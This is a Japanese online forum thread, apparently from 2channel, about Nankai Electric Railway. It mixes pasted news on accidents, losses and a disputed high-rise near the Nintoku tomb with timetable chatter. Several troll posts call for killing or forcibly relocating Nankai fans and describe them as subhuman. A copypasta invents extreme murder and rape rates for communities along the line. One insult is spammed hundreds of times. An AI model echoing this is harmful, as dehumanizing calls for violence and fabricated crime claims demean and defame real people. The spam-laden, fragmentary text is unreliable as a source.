１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指
摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.
shtml◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せ
ず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午
前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５

分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK20061020
0054.html◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通しを７８億円から２３
億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７
０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今
月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.html４月からＮＨ９７７便が７４４化されて２３：０５関
空着になる。すると２３：０５発の空港急行に間に合わず次が２３：３０なんてしんき臭いはなしになっちゃうから２３：１５分頃に普通の泉佐野区急接続でもいいから１本走らせてもらえないかな南海電鉄で囁かれる｢最悪の
シナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社
とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣
を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。

近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少と
いう惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフト
といった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減
っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤
字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算では
もっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初
めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ
。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”に
なることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の

南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成
二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ
」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すと
いうのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺
産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「
古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/new
s/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円
の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570
,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）52

4,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の
赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月
30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,
0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044
.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高
５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京
阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが
南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債
は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車

両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言
い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗
を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋」ソースttp://allabo
ut.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧
＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''
"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」テンプレ〆どうぞお使いくだ
さい。>25ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら本当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけ
よ！」南海はボロい大手私鉄の一つ、大阪は難波と泉州・和歌山・高野山・関空を結ぶ日本最古の私鉄、南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りま
しょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけ下さい。荒らしは放置。煽り厳禁！聞き分けの無い珍作さんとそれを

煽る厨は出てきても(・∀・)ﾆﾔﾆﾔ笑いながら出来たら無視しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。ガイドラインを守りたくない人は新規にスレを立てて下さいね。立てないなら荒らすな。流
行語３語と成分分析の使いすぎには注意しようね。「使い方を間違えてる人」は(・∀・)ﾆﾔﾆﾔ笑いながら出来たら無視しましょう。次スレ立てる時は>950以降、絶対に相談してから、宣言して立ててね。主なガイドライン(お約
束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。南海スレ＠まとめサイトttp://plaza.rakuten.co.jp/nankai2ch/ローカルルールttp://plaza.rakuten.co.jp/nankai2ch/2003ttp:/
/plaza.rakuten.co.jp/nankai2ch/2004ttp://plaza.rakuten.co.jp/nankai2ch/2005投票ttp://multianq.uic.to/mesganq.cgi?room=nankaittp://multianq.uic.to/mesganq.cgi?room=nankaianti難解な解析機ttp://seibun.nosv.o
rg/maker.php/shukuin/高野線占いttp://seibun.nosv.org/muranai.php/2301Fsakura/避難所ttp://jbbs.livedoor.jp/auto/498/パークソサイトttp://www.nambaparks.com/index2.htmlダイヤ改正９月予定新車年度末に１０００
系７０００系アポーン６３００系化２０００系本線開始？高架と泉佐野工事などなど盛りだくさん車両運用情報掲示板ttp://6618.teacup.com/green/bbs南海を中心とした地域・鉄道の話題を広く扱う掲示板ttp://bbs1l.net4u.o
rg/sr3_bbss.cgi?cat=5338nankai前スレttp://hobby9.2ch.net/test/read.cgi/rail/1169386370/次回南海都市伝説絵巻第65話ttp://www.geocities.jp/a78027/img097.jpgその時おいらも家族だった乞うご期待ttp://www.geociti
es.jp/a78027/img097.jpgこれね。修正ttp://www.geocities.jp/a78027/img097.jpgttp://ime.nu/www.geocities.jp/a78027/page017.html風邪ひいたんで、おやすみん>84>142じゃあ普通の関空行きの折り返しでいいから２３：
１５に空急増やしてくださいって感じだね。昔乗った経験上で言うとＢ７４４ってタイムテーブルの所用時間よりか思いのほか短い時間で目的地に到着することがあるんだな２３：００きっかりに関空に着いたもんなら“２３：

０５の空急に間に合うじゃん”ってすさまじい猛ダッシュレースが見られるかもしれない。このＢ７４４の折り返しは１４２便、翌朝７：００関空発の羽田行きなんだな。早朝の関空行きの南海利用者が増えるのかどうかだろう
ねえ・・・しかしＮＨは何で鰯（Ｂ７３７）とか鵞鳥（Ａ３２０）使ってた便にいきなりジャンボ（Ｂ７４４）もってきたんだか・・・旅客はあんまし関係なくてただ単に国際貨物運びたいだけかな？ 単に機材のやり繰りの関
係ですよ。次回南海都市伝説絵巻第69話泉大津以外にも高架は進んでいるのに泉大津が人気な訳乞うご期待！せめて側面だけでもＬＥＤになっていることを祈る。それだと、弱冷車の表示が連結位置に関係なくできるし。>1＞次
スレ立てる時は>950以降、絶対に相談してから、宣言して立ててね。＞次スレのスレタイ→【←浅香山】南海電気鉄道ｽﾚｯﾄﾞNa97【⇒三国ヶ丘】相変わらずそんなルールまでつくってしまう低脳なスレだな。期待はずれだな。そ
れでも、計画の段階で採用の検討はしていただろうね。仕事おわた泉佐野まだ工事してるひとおった次回南海都市伝説絵巻第69話外人が南海初乗りは7000へ乞うご期待始発は遅くて最終は早い。運賃もかなり割高。しかも特急街
道は特急誘導ダイヤ。しかもクロスシートは殆ど皆無で詰め込みロング。なんとかしろクソ南海>159何？ＮＨって単にこれまで使ってたＡ３２１売っちゃったからちょうど空いてた機材がＢ７４４ってか？合理的なんだか不合理
なんだかよくわからんな。でもまあ、ＮＨの都合で“分母を増やした”のだから“搭乗率が悪化した”なんてことは言わさないようにしないとな。南海さんは「２３：０５に到着の飛行機では２３：１５の電車に乗れない」とお
っしゃるようだがここの社員って東京から関空経由で我がの会社の電車に乗らないのか？手荷物預けなければブリッジから出てちょうど５分で電車のホームに立てるぞ次回、南海都市伝説絵巻第70話春の香りがそこまできている
乞うご期待泉北の新車がＬＥＤ式表示でないのは期待はずれだな。岸和田競輪あるときはアホの客ばっかりだな。大股開いたり新聞を人の膝に置いたり7000と一緒にアポーンすればいいのに

キーワード【容疑南海電気鉄道泉佐野借入金高石南海車両】ヨハネスブルグ＝南海沿線

南海沿線のガイドライン・軍人上がりの８人なら大丈夫だろうと思っていたら同じような体格の20人に襲われた・ユースから徒歩１分の路上で白人が頭から血を流して倒れていた・足元がぐにゃりとしたのでござをめくってみる
と死体が転がっていた・腕時計をした旅行者が襲撃され、目が覚めたら手首が切り落とされていた・車で旅行者に突っ込んで倒れた、というか轢いた後から荷物とかを強奪する・宿が強盗に襲撃され、女も「男も」全員レイプさ
れた・タクシーからショッピングセンターまでの10ｍの間に強盗に襲われた。・バスに乗れば安全だろうと思ったら、バスの乗客が全員強盗だった・女性の1/3がレイプ経験者。しかも処女交配がHIVを治すという都市伝説から「
赤子ほど危ない」・「そんな危険なわけがない」といって出て行った旅行者が５分後血まみれで戻ってきた・「何も持たなければ襲われるわけがない」と手ぶらで出て行った旅行者が靴と服を盗まれ下着で戻ってきた・最近流行
っている犯罪は「石強盗」　石を手に持って旅行者に殴りかかるから・中心駅から半径200mは強盗にあう確率が150%。一度襲われてまた教われる確率が50％の意味・南海沿線における殺人事件による死亡者は１日平均120人

南海沿線は人生の墓場です。行き詰ったら行く場所です。未来がある人が逝ってはいけません。

>429南海沿線の民度は実際に低い

南海ヲタどもは、皆殺しか、隣国へ強制移住させるのが一番。隔離された居住区に住み、労働者として働けばいい。サルに人間の能力を求め、待遇を人間並みにするのは無理。

南海ヲタに人間待遇は不要。こいつらと仕事してると真正の殺意を抱くこと一日一回や二回ではない。仕事を途中で投げて帰るな、この怠惰土塵。人のものを勝手にくすねるなこの窃盗土塵。根拠のないプライドを持つなこの脳無し土塵！

保守

南海東京ビルディングは、住所に「銀座」と入っているが、著名人が昼のショッピングに夜の街に足しげく通うなど、一般的に皆が想像する華やかな銀座通り（中央通り）にはない。銀座の中心地から遠く離れ、ビルのすぐ横を
首都高が通り、振動・騒音が激しい上、銀座の一番端っこで、ビルの一角は隣の「築地」に面しており、「銀座」と呼ぶにはあまりにお粗末である。その反面、モザイク銀座阪急は、誰もが知るJR有楽町駅と銀座中心地の中間地
点に立地し、阪急の面する通りと同じ通りには、すぐ目と鼻の先にプランタン銀座や三越が軒を連ね、みのもんたら大スターが足しげく通う店にも近い。阪急百貨店として、文字通り「銀座」の街の一翼を担っているのである。

南海＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜
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＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜＜阪急

殺人事件発生率世界NO1南海沿線。特に夜は超危険。死にたい人には最適な都市。新宿なんて安全なほうだよ。

なんで南海沿線は治安が悪いんだ？特別な理由でもあんの？

北斗の拳の世界を体験したければ南海沿線にいくことをお勧めします。さあ、貴方もケンシロウになって悪党退治に参加してみませんか？

>511
あたたたたたたたたたたたたー！！　
南海7000系　おまえはもう死んでいる。　あべしー 南海ヲタはそのほとんどが、極貧層でかつ、教育水準の低いﾔｼである。

南海

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次回都市伝説絵巻第71話三日市市に迫る危機乞うご期待この会社も減便スパイラルでは何にもならないのにな〜（本線）最近の名鉄はその辺は分かってる。/.__、／丿ヽ/,／.／／_,_＿'iiii'l//./／／_-''’___,,ノ、7'l.ﾚ.l/
./／,,-'''''ll.l,l/,/´,'_ !-‐'''''''''''')./l../li...llr/.lﾞ'''’_,,,-‐/￣.l/.l./li.ll.l.!々'Vヽー--l/'‐、l/li/lll/''''ヽ'..,,,_＿_、ｌ/./ﾉ'l/ｌ'l./!''/'/',/）ﾉl///,/／毎週毎週土日ですら遊びにも行かず
、/丿亅.//r'/￣￣￣'''‐,_／丶____.//ていうか、誰からも誘われず、誘える友人もおらず、/￣￣￣￣'''‐,_＼..l＼”-ニ⊃／/r'＼/'-,/.l＼'￣,／/│''、、ただ南海スレで引っ越し活動して無意味に一日が終わる.//l丶ゝ
,,,,,,,-‐''／│'l "'-、/.∩/.l/─、,─／│'l"'-、引っ越し厨はむしろ自分のために死んでしまえばいいのに../∩/.l/Ｃll-l＼│'l"'-、//ﾚ'ヽ┌──┐ｿ＼│'l"'-、>606確かに隣の束の車両は格好いいね（ｗしかしまあコ
ンプライアンスもガバナンスもあったもんじゃない。インサイダー社員の口のチャックの緩さは何とも治らんよなあ。インサイダーはいいから２４：０５の関空発の空港急行の出発を１０分繰り下げてくれや４月から穴が９７７
便をＢ７４４にして到着が２３：０５と遅くなる。こういうのにキチと対応するのがサービスやっちゅうねん。今日発売の鉄ピ見たら誰かが「南海線転用で２０００系が試運転」とか記事投稿してやがる。あんな適当なこと書い
ていいのか？彼女が南海沿線出身であることが恥ずかしくなってきた。別れようかな。次回南海都市伝説絵巻第75話高架の効果をとは？みんなで校歌を考えよう乞うご期待>770南海はぼろい>774「北急」は昔からのモロ阪急系だ
から、悔しくてわざと無視してんの？>774北急が書けないくらい、よほど悔しかったんだね、おーヨチヨチwwwwwwwwwwww>790北神急行のこともたまには思い出してあげてください。次回南海都市伝説絵巻第79話7000がいちご電車
だったらの巻乞うご期待おやすみんご,,..-"´､｀､／）､、＼／ﾉヽヽ、/ﾙ'ヾヽ//ﾞi,ﾞij,ｨ／ﾞi,|lｨ',ｨ／j/|iﾘ|/l／'"｀||lﾘ!./,ノ_,､=''''`ﾍ,ﾘﾞ!l/,:-ｰ=‐-ミ､,,_,.ﾉ/(∩-）‐V´ヽ,/｀ヽヽ.ﾄ､（,∩‐)-､,.-ﾄi´,ﾉ,ヘﾞiヽl｀

ヽ,r'´ﾉヾｰ--‐''ﾞ|,,.くﾞiﾞiヽ､__,,､-'"〉iﾊ'´ﾞ!ﾞi,!´´i.......,,,,,,,,____／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣ﾞ､ﾞi,__r'ﾞﾞ＞ー┬-!_＿＿＿___,,!;＼;;;;;;;;;;;;;;;;|私はムスカ大佐だ,ﾞV"ﾞヽ;;;!::::::ヽ`ー─'
'''"´/;;;;;;;;ヽ;;;;;;;;＜南海のぼろさを何とかしたまえ。,.､;;'";;;;ヽ.-''^ﾞ~ﾞヽ＼,,.､-─‐-.,〈;;;;;;;;;;;;;ヽ;;;;;;;;;＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿,.､;;;'";;;;;;;/;;r'´-‐‐'''"´~ヽ＼（.r‐'''"
"ﾞ"''''ｙ.);;;;;;;;;;;;;;;;〉;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;l;;;|＿,,..､-‐^ヾ＼＿,,,,ヽ,/'ﾞ!;;;;;;;;;;;;∠、;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;j;;;;|,⊥,ﾞi:ﾚ'ﾞ!;;;;;;;;;;;;;;;;|;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;!;;;:;|-‐''"´ﾞ）ゝ､、!!.次回南海都市伝説絵巻第80話7020が都市伝説になる日さようなら南海区急1000系乗りたくて二本遅らしたのに7000ばっか来てウザいわ！早く廃車にしてまえ全部1000系なれよ今年度末
に廃車じゃなかったんかよ汚物の何者でもない汚物公害環境汚染呪いゲイグロテスク廃物仲間外れいじめ対象終わりの会でほうこく一言「死ね」長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり
１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくな
い沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿
線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっち
ぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みた

くない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南
海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶ
っちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住
みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位
の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿
線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長
年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり
１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくな
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線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっち
ぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みた
くない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南
海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶ
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年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり

１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくな
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線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっち
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くない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線弱小私鉄の一つ、大阪は小便臭い難波とガ
ラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。な
お、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けのある珍作さんは出てきても(・∀・)
ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコピペしてきたり、既出のものを何度
も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かって荒らしている珍作さんは(・∀・)

ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイドライン(お約束)・各種リンク、過
去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼り付けるの絶対歓迎。◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中
央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所
得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「
施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして
申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南
海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益
